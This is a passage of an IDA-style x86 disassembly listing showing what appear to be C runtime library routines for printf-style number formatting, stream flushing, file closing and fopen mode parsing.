jz loc_41A321
sub eax, 3
jnz loc_41A442
mov [ebp+var_2C], 27h
jmp short loc_41A2BE
; ---------------------------------------------------------------------------
loc_41A282: ; CODE XREF: sub_419E38+270j
; sub_419E38+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41A43F
; ---------------------------------------------------------------------------
loc_41A28B: ; CODE XREF: sub_419E38+24Fj
test ecx, ecx
jnz short loc_41A298
mov ecx, off_439598
mov [ebp+var_8], ecx
loc_41A298: ; CODE XREF: sub_419E38+455j
mov eax, ecx
loc_41A29A: ; CODE XREF: sub_419E38+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41A2A9
cmp byte ptr [eax], 0
jz short loc_41A2A9
inc eax
jmp short loc_41A29A
; ---------------------------------------------------------------------------
loc_41A2A9: ; CODE XREF: sub_419E38+467j
; sub_419E38+46Cj
sub eax, ecx
jmp loc_41A43F
; ---------------------------------------------------------------------------
loc_41A2B0: ; CODE XREF: sub_419E38+425j
mov [ebp+var_10], 8
loc_41A2B7: ; CODE XREF: sub_419E38+201j
mov [ebp+var_2C], 7
loc_41A2BE: ; CODE XREF: sub_419E38+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41A328
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41A328
; ---------------------------------------------------------------------------
loc_41A2E0: ; CODE XREF: sub_419E38+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41A328
or byte ptr [ebp+var_4+1], 2
jmp short loc_41A328
; ---------------------------------------------------------------------------
loc_41A2F3: ; CODE XREF: sub_419E38+417j
lea eax, [ebp+arg_8]
push eax
call sub_41A617
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41A30C
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41A311
; ---------------------------------------------------------------------------
loc_41A30C: ; CODE XREF: sub_419E38+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41A311: ; CODE XREF: sub_419E38+4D2j
mov [ebp+var_28], 1
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_41A31D: ; CODE XREF: sub_419E38+2F7j
; sub_419E38+40Ej
or [ebp+var_4], 40h
loc_41A321: ; CODE XREF: sub_419E38+432j
mov [ebp+var_C], 0Ah
loc_41A328: ; CODE XREF: sub_419E38+491j
; sub_419E38+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41A33A
lea eax, [ebp+arg_8]
push eax
call sub_41A624
pop ecx
jmp short loc_41A37B
; ---------------------------------------------------------------------------
loc_41A33A: ; CODE XREF: sub_419E38+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41A361
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41A356
call sub_41A617
pop ecx
movsx eax, ax
loc_41A353: ; CODE XREF: sub_419E38+527j
; sub_419E38+539j
cdq
jmp short loc_41A37B
; ---------------------------------------------------------------------------
loc_41A356: ; CODE XREF: sub_419E38+510j
call sub_41A617
pop ecx
movzx eax, ax
jmp short loc_41A353
; ---------------------------------------------------------------------------
loc_41A361: ; CODE XREF: sub_419E38+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41A373
call sub_41A617
pop ecx
jmp short loc_41A353
; ---------------------------------------------------------------------------
loc_41A373: ; CODE XREF: sub_419E38+531j
call sub_41A617
pop ecx
xor edx, edx
loc_41A37B: ; CODE XREF: sub_419E38+500j
; sub_419E38+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41A39C
test edx, edx
jg short loc_41A39C
jl short loc_41A38B
test eax, eax
jnb short loc_41A39C
loc_41A38B: ; CODE XREF: sub_419E38+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41A3A0
; ---------------------------------------------------------------------------
loc_41A39C: ; CODE XREF: sub_419E38+547j
; sub_419E38+54Bj ...
mov esi, eax
mov edi, edx
loc_41A3A0: ; CODE XREF: sub_419E38+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41A3A9
and edi, 0
loc_41A3A9: ; CODE XREF: sub_419E38+56Cj
cmp [ebp+var_10], 0
jge short loc_41A3B8
mov [ebp+var_10], 1
jmp short loc_41A3BC
; ---------------------------------------------------------------------------
loc_41A3B8: ; CODE XREF: sub_419E38+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41A3BC: ; CODE XREF: sub_419E38+57Ej
mov eax, esi
or eax, edi
jnz short loc_41A3C6
and [ebp+var_1C], 0
loc_41A3C6: ; CODE XREF: sub_419E38+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41A3CC: ; CODE XREF: sub_419E38+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_41A3DC
mov eax, esi
or eax, edi
jz short loc_41A417
loc_41A3DC: ; CODE XREF: sub_419E38+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_4191D0
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_419250
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41A40D
add ebx, [ebp+var_2C]
loc_41A40D: ; CODE XREF: sub_419E38+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41A3CC
; ---------------------------------------------------------------------------
loc_41A417: ; CODE XREF: sub_419E38+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41A442
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41A435
test eax, eax
jnz short loc_41A442
loc_41A435: ; CODE XREF: sub_419E38+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41A43F: ; CODE XREF: sub_419E38+35Fj
; sub_419E38+406j ...
mov [ebp+var_C], eax
loc_41A442: ; CODE XREF: sub_419E38+21Bj
; sub_419E38+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41A540 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41A47A
test bh, 1
jz short loc_41A45F
mov [ebp+var_16], 2Dh
jmp short loc_41A473
; ---------------------------------------------------------------------------
loc_41A45F: ; CODE XREF: sub_419E38+61Fj
test bl, 1
jz short loc_41A46A
mov [ebp+var_16], 2Bh
jmp short loc_41A473
; ---------------------------------------------------------------------------
loc_41A46A: ; CODE XREF: sub_419E38+62Aj
test bl, 2
jz short loc_41A47A
mov [ebp+var_16], 20h
loc_41A473: ; CODE XREF: sub_419E38+625j
; sub_419E38+630j
mov [ebp+var_1C], 1
loc_41A47A: ; CODE XREF: sub_419E38+61Aj
; sub_419E38+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41A49A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41A5AE
add esp, 10h
loc_41A49A: ; CODE XREF: sub_419E38+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_41A5DF
add esp, 10h
test bl, 8
jz short loc_41A4CC
test bl, 4
jnz short loc_41A4CC
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_41A5AE
add esp, 10h
loc_41A4CC: ; CODE XREF: sub_419E38+67Bj
; sub_419E38+680j
cmp [ebp+var_24], 0
jz short loc_41A513
cmp [ebp+var_C], 0
jle short loc_41A513
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41A4E1: ; CODE XREF: sub_419E38+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_41FAFB
pop ecx
test eax, eax
pop ecx
jle short loc_41A528
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_41A5DF
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41A4E1
jmp short loc_41A528
; ---------------------------------------------------------------------------
loc_41A513: ; CODE XREF: sub_419E38+698j
; sub_419E38+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_41A5DF
add esp, 10h
loc_41A528: ; CODE XREF: sub_419E38+6BCj
; sub_419E38+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41A540 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41A5AE
add esp, 10h
loc_41A540: ; CODE XREF: sub_419E38+68j
; sub_419E38+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_419E64
loc_41A551: ; CODE XREF: sub_419E38+1Fj
; sub_419E38+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_419E38 endp
; ---------------------------------------------------------------------------
off_41A559 dd offset loc_419FD7 ; DATA XREF: sub_419E38+6Er
dd offset loc_419EAD ; jump table for switch statement
dd offset loc_419EC8
dd offset loc_419F14
dd offset loc_419F4B
dd offset loc_419F53
dd offset loc_419F88
dd offset loc_41A01B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A579 proc near ; CODE XREF: sub_419E38+1BDp
; sub_419E38+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_41A592
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_41A59D
; ---------------------------------------------------------------------------
loc_41A592: ; CODE XREF: sub_41A579+9j
push ecx
push [ebp+arg_0]
call sub_419D23
pop ecx
pop ecx
loc_41A59D: ; CODE XREF: sub_41A579+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41A5AA
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41A5AA: ; CODE XREF: sub_41A579+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41A579 endp
; =============== S U B R O U T I N E =======================================
sub_41A5AE proc near ; CODE XREF: sub_419E38+65Ap
; sub_419E38+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_41A5DC
mov esi, [esp+8+arg_C]
loc_41A5BF: ; CODE XREF: sub_41A5AE+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41A579
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41A5DC
mov eax, edi
dec edi
test eax, eax
jg short loc_41A5BF
loc_41A5DC: ; CODE XREF: sub_41A5AE+Bj
; sub_41A5AE+25j
pop edi
pop esi
retn
sub_41A5AE endp
; =============== S U B R O U T I N E =======================================
sub_41A5DF proc near ; CODE XREF: sub_419E38+670p
; sub_419E38+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_41A613
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_41A5F5: ; CODE XREF: sub_41A5DF+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41A579
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_41A613
mov eax, ebx
dec ebx
test eax, eax
jg short loc_41A5F5
loc_41A613: ; CODE XREF: sub_41A5DF+Cj
; sub_41A5DF+2Bj
pop edi
pop esi
pop ebx
retn
sub_41A5DF endp
; =============== S U B R O U T I N E =======================================
sub_41A617 proc near ; CODE XREF: sub_419E38+E5p
; sub_419E38+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41A617 endp
; =============== S U B R O U T I N E =======================================
sub_41A624 proc near ; CODE XREF: sub_419E38+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_41A624 endp
; =============== S U B R O U T I N E =======================================
sub_41A634 proc near ; CODE XREF: sub_419E38+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_41A634 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A642 proc near ; CODE XREF: sub_417794+17p
; sub_417794+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41A660
mov ecx, off_4395A0
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41A6B2
; ---------------------------------------------------------------------------
loc_41A660: ; CODE XREF: sub_41A642+10j
mov ecx, eax
push esi
mov esi, off_4395A0
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41A685
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41A68E
; ---------------------------------------------------------------------------
loc_41A685: ; CODE XREF: sub_41A642+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41A68E: ; CODE XREF: sub_41A642+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_41FB63
add esp, 1Ch
test eax, eax
jnz short loc_41A6AE
leave
retn
; ---------------------------------------------------------------------------
loc_41A6AE: ; CODE XREF: sub_41A642+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41A6B2: ; CODE XREF: sub_41A642+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41A642 endp
; =============== S U B R O U T I N E =======================================
sub_41A6B7 proc near ; CODE XREF: sub_417900+2Ap
; sub_41FEC6+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_48B440
jnb loc_41A751
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:48B340h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41A751
push edi
call sub_41FE32
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41A730
cmp edi, 1
jz short loc_41A6FE
cmp edi, 2
jnz short loc_41A714
loc_41A6FE: ; CODE XREF: sub_41A6B7+40j
push 2
call sub_41FE32
push 1
mov ebp, eax
call sub_41FE32
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41A730
loc_41A714: ; CODE XREF: sub_41A6B7+45j
push edi
call sub_41FE32
pop ecx
push eax
call near ptr 2611A31h
nop
test eax, eax
jnz short loc_41A730
call near ptr 2630313h
nop
mov ebp, eax
jmp short loc_41A732
; ---------------------------------------------------------------------------
loc_41A730: ; CODE XREF: sub_41A6B7+3Bj
; sub_41A6B7+5Bj ...
xor ebp, ebp
loc_41A732: ; CODE XREF: sub_41A6B7+77j
push edi
call sub_41FDB8
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41A74D
push ebp
call sub_41EF44
pop ecx
jmp short loc_41A762
; ---------------------------------------------------------------------------
loc_41A74D: ; CODE XREF: sub_41A6B7+8Bj
xor eax, eax
jmp short loc_41A765
; ---------------------------------------------------------------------------
loc_41A751: ; CODE XREF: sub_41A6B7+Ej
; sub_41A6B7+2Fj
and dword_48A018, 0
mov dword_48A014, 9
loc_41A762: ; CODE XREF: sub_41A6B7+94j
or eax, 0FFFFFFFFh
loc_41A765: ; CODE XREF: sub_41A6B7+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A6B7 endp
; =============== S U B R O U T I N E =======================================
sub_41A76A proc near ; CODE XREF: sub_417900+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41A793
test al, 8
jz short loc_41A793
push dword ptr [esi+8]
call sub_417C3B
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41A793: ; CODE XREF: sub_41A76A+Aj
; sub_41A76A+Ej
pop esi
retn
sub_41A76A endp
; =============== S U B R O U T I N E =======================================
sub_41A795 proc near ; CODE XREF: sub_41A835+2Dp
; sub_41A835+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41A7A7
push esi
call sub_41A835
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A7A7: ; CODE XREF: sub_41A795+7j
push esi
call sub_41A7D0
test eax, eax
pop ecx
jz short loc_41A7B7
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A7B7: ; CODE XREF: sub_41A795+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41A7CC
push dword ptr [esi+10h]
call sub_41FE6F
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41A7CC: ; CODE XREF: sub_41A795+26j
xor eax, eax
pop esi
retn
sub_41A795 endp
; =============== S U B R O U T I N E =======================================
sub_41A7D0 proc near ; CODE XREF: sub_417900+1Ap
; sub_418D0E+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41A81D
test ax, 108h
jz short loc_41A81D
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41A81D
push edi
push eax
push dword ptr [esi+10h]
call sub_41ED97
add esp, 0Ch
cmp eax, edi
jnz short loc_41A816
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41A81D
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41A81D
; ---------------------------------------------------------------------------
loc_41A816: ; CODE XREF: sub_41A7D0+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41A81D: ; CODE XREF: sub_41A7D0+14j
; sub_41A7D0+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41A7D0 endp
; =============== S U B R O U T I N E =======================================
sub_41A82C proc near ; CODE XREF: sub_41FAE7p
push 1
call sub_41A835
pop ecx
retn
sub_41A82C endp
; =============== S U B R O U T I N E =======================================
sub_41A835 proc near ; CODE XREF: sub_41A795+Ap
; sub_41A82C+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_48B320, esi
jle short loc_41A893
loc_41A846: ; CODE XREF: sub_41A835+5Cj
mov eax, dword_48A310
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41A88A
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41A88A
cmp [esp+0Ch+arg_0], 1
jnz short loc_41A870
push eax
call sub_41A795
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41A88A
inc ebx
jmp short loc_41A88A
; ---------------------------------------------------------------------------
loc_41A870: ; CODE XREF: sub_41A835+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41A88A
test cl, 2
jz short loc_41A88A
push eax
call sub_41A795
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41A88A
or edi, eax
loc_41A88A: ; CODE XREF: sub_41A835+1Bj
; sub_41A835+23j ...
inc esi
cmp esi, dword_48B320
jl short loc_41A846
loc_41A893: ; CODE XREF: sub_41A835+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41A89E
mov eax, edi
loc_41A89E: ; CODE XREF: sub_41A835+65j
pop edi
pop esi
pop ebx
retn
sub_41A835 endp
; =============== S U B R O U T I N E =======================================
sub_41A8A2 proc near ; CODE XREF: sub_417956+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_41FA1C
test eax, eax
pop ecx
jz short loc_41A92B
cmp esi, offset dword_43BCD8
jnz short loc_41A8C0
xor eax, eax
jmp short loc_41A8CB
; ---------------------------------------------------------------------------
loc_41A8C0: ; CODE XREF: sub_41A8A2+18j
cmp esi, offset dword_43BCF8
jnz short loc_41A92B
push 1
pop eax
loc_41A8CB: ; CODE XREF: sub_41A8A2+1Cj
inc dword_48A1D8
test word ptr [esi+0Ch], 10Ch
jnz short loc_41A92B
cmp dword_48A06C[eax*4], 0
push ebx
push edi
lea edi, ds:48A06Ch[eax*4]
mov ebx, 1000h
jnz short loc_41A911
push ebx
call sub_417B89
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_41A911
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_41A91E
; ---------------------------------------------------------------------------
loc_41A911: ; CODE XREF: sub_41A8A2+4Dj
; sub_41A8A2+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_41A91E: ; CODE XREF: sub_41A8A2+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A92B: ; CODE XREF: sub_41A8A2+10j
; sub_41A8A2+24j ...
xor eax, eax
pop esi
retn
sub_41A8A2 endp
; =============== S U B R O U T I N E =======================================
sub_41A92F proc near ; CODE XREF: sub_417956+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_41A959
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41A96A
push esi
call sub_41A7D0
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A959: ; CODE XREF: sub_41A92F+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41A96A
push eax
call sub_41A7D0
pop ecx
loc_41A96A: ; CODE XREF: sub_41A92F+10j
; sub_41A92F+32j
pop esi
retn
sub_41A92F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A96C proc near ; CODE XREF: sub_417988+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_48A1E0
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41A9A5
cmp al, 72h
jz short loc_41A99E
cmp al, 77h
jnz loc_41AAB9
mov ecx, 301h
jmp short loc_41A9AA
; ---------------------------------------------------------------------------
loc_41A99E: ; CODE XREF: sub_41A96C+21j
xor ecx, ecx
or esi, 1
jmp short loc_41A9AD
; ---------------------------------------------------------------------------
loc_41A9A5: ; CODE XREF: sub_41A96C+1Dj
mov ecx, 109h
loc_41A9AA: ; CODE XREF: sub_41A96C+30j
or esi, 2
loc_41A9AD: ; CODE XREF: sub_41A96C+37j
push 1
pop edx
loc_41A9B0: ; CODE XREF: sub_41A96C+8Bj
; sub_41A96C+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41AA9F
cmp edx, ebx
jz loc_41AA9F
movsx eax, al
cmp eax, 54h
jg short loc_41AA3E
jz short loc_41AA2E
sub eax, 2Bh
jz short loc_41AA18
sub eax, 19h
jz short loc_41AA0E
sub eax, 0Eh
jz short loc_41A9F9
dec eax
jnz loc_41AA90
cmp [ebp+var_4], ebx
jnz loc_41AA90
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41A9B0
; ---------------------------------------------------------------------------
loc_41A9F9: ; CODE XREF: sub_41A96C+6Fj
cmp [ebp+var_4], ebx
jnz loc_41AA90
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA0E: ; CODE XREF: sub_41A96C+6Aj
test cl, 40h
jnz short loc_41AA90
or ecx, 40h
jmp short loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA18: ; CODE XREF: sub_41A96C+65j
test cl, 2
jnz short loc_41AA90
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA2E: ; CODE XREF: sub_41A96C+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41AA90
or ecx, eax
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA3E: ; CODE XREF: sub_41A96C+5Ej
sub eax, 62h
jz short loc_41AA8B
dec eax
jz short loc_41AA74
sub eax, 0Bh
jz short loc_41AA5D
sub eax, 6
jnz short loc_41AA90
test ch, 0C0h
jnz short loc_41AA90
or ch, 40h
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA5D: ; CODE XREF: sub_41A96C+DDj
cmp [ebp+var_8], ebx
jnz short loc_41AA90
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA74: ; CODE XREF: sub_41A96C+D8j
cmp [ebp+var_8], ebx
jnz short loc_41AA90
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA8B: ; CODE XREF: sub_41A96C+D5j
test ch, 0C0h
jz short loc_41AA97
loc_41AA90: ; CODE XREF: sub_41A96C+72j
; sub_41A96C+7Bj ...
xor edx, edx
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA97: ; CODE XREF: sub_41A96C+122j
or ch, 80h
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA9F: ; CODE XREF: sub_41A96C+4Aj
; sub_41A96C+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_41FEC6
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41AABD
loc_41AAB9: ; CODE XREF: sub_41A96C+25j
xor eax, eax
jmp short loc_41AAD7
; ---------------------------------------------------------------------------
loc_41AABD: ; CODE XREF: sub_41A96C+14Bj
mov eax, [ebp+arg_C]
inc dword_48A1D8
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41AAD7: ; CODE XREF: sub_41A96C+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41A96C endp
; =============== S U B R O U T I N E =======================================
sub_41AADC proc near ; CODE XREF: sub_417988p
mov edx, dword_48B320
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41AB4D
mov ebx, dword_48A310
mov edi, ebx
loc_41AAF8: ; CODE XREF: sub_41AADC+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41AB13
test byte ptr [ecx+0Ch], 83h
jz short loc_41AB0E
inc eax
add edi, 4
cmp eax, edx
jl short loc_41AAF8
jmp short loc_41AB4D
; ---------------------------------------------------------------------------
loc_41AB0E: ; CODE XREF: sub_41AADC+26j
mov esi, [ebx+eax*4]
jmp short loc_41AB37
; ---------------------------------------------------------------------------
loc_41AB13: ; CODE XREF: sub_41AADC+20j
mov edi, eax
push 20h
shl edi, 2
call sub_417B89
pop ecx
mov ecx, dword_48A310
mov [edi+ecx], eax
mov eax, dword_48A310
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41AB4D
mov esi, edi
loc_41AB37: ; CODE XREF: sub_41AADC+35j
cmp esi, ebp
jz short loc_41AB4D
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41AB4D: ; CODE XREF: sub_41AADC+12j
; sub_41AADC+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41AADC endp
; =============== S U B R O U T I N E =======================================
sub_41AB54 proc near ; CODE XREF: sub_417B9B+1Fp
; sub_41944F+126p ...
arg_0 = dword ptr 4
mov eax, dword_48A078
test eax, eax
jz short loc_41AB6C
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41AB6C
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41AB6C: ; CODE XREF: sub_41AB54+7j
; sub_41AB54+12j
xor eax, eax
retn
sub_41AB54 endp
; =============== S U B R O U T I N E =======================================
